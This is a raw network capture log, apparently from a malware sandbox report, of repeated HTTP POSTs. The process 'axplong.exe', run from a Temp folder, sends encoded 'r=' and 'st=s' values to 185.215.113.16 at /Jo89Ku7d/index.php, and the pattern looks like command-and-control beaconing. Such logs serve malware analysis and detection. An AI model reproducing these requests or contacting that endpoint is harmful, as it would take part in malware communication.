Oct 29, 2024 05:04:18.155776978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50104	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:18.165692091 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:19.072619915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50105	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:19.182141066 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:20.092768908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50106	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:20.107292891 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:21.014169931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50107	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:21.138700008 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:22.048188925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50108	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:22.059750080 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:22.981472969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50109	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:23.104625940 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:24.013348103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50110	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:24.022927999 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:24.954590082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50111	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:25.076725960 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:25.983963966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50112	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:25.995731115 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:26.908160925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50113	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:27.026047945 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50114	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:27.042005062 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:27.946197987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50115	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:28.058706045 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50116	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:28.073370934 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:29.023320913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50117	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:29.136425972 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:30.046775103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50118	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:30.057116032 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:30.961896896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50119	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:31.076648951 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:31.998275995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50120	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:32.008670092 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:32.926682949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50121	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:33.048439026 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:33.953980923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50122	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:33.964180946 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:34.884078026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50123	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:35.000781059 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:35.922646046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50124	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:35.933840990 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50125	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:36.058410883 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:36.973905087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50126	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:36.985114098 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:37.887273073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50127	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:38.011141062 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
